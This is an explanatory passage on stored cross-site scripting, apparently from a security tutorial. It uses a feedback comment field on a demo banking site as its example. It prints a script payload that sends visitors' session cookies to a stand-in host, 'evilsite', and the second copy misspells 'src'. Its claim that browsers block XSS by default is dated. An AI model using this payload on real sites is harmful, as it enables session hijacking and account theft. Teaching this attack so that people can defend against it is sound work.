## Cross-Site Scripting

Cross-site scripting (XSS) is another common web app attack that has been around for many years. If a web app is vulnerable to XSS, an attacker can introduce a malicious script within a web page, which executes once the page is accessed by visitors.

<http://demo.testfire.net/bank/login.aspx>

Feedback comments

This is a great product <script>document.write('<img src=http://evilsite/'+document.cookie>');</script>

In this example, the web application provides the visitor with the ability to post a question or comment about company products. The comments field is vulnerable to XSS. The example text comment (This is a great product <script>document.write('<img scr=http://evilsite/'+document.cookie>');</script>) inserts an XSS script onto the page, which will attempt to steal each visitor’s session ID.

In the example, the comment field allows the insertion of HTML code. After the comment is posted, the text comment and the XSS code are appended into an html of the product’s website.

Visitors to the product’s website would then observe the comment “This is a great product,” but have no sight of the malicious HTML script, which is executed by their web browser and sends the user’s cookie information (including the session ID) to the attacker’s website, “evilsite.” The attacker can use the stolen session ID to hijack the victim’s web session and to compromise the user’s account. Attackers use such tactics to enable them to steal sessions from thousands of user accounts at a time.

By default, most modern browsers protect against XSS attacks. For instance, Internet Explorer defaults in a protection mode, which prevents XSS scripts from executing when present in website pages. However, XSS still remains a serious application vulnerability, given that some users are still using outdated web browsers.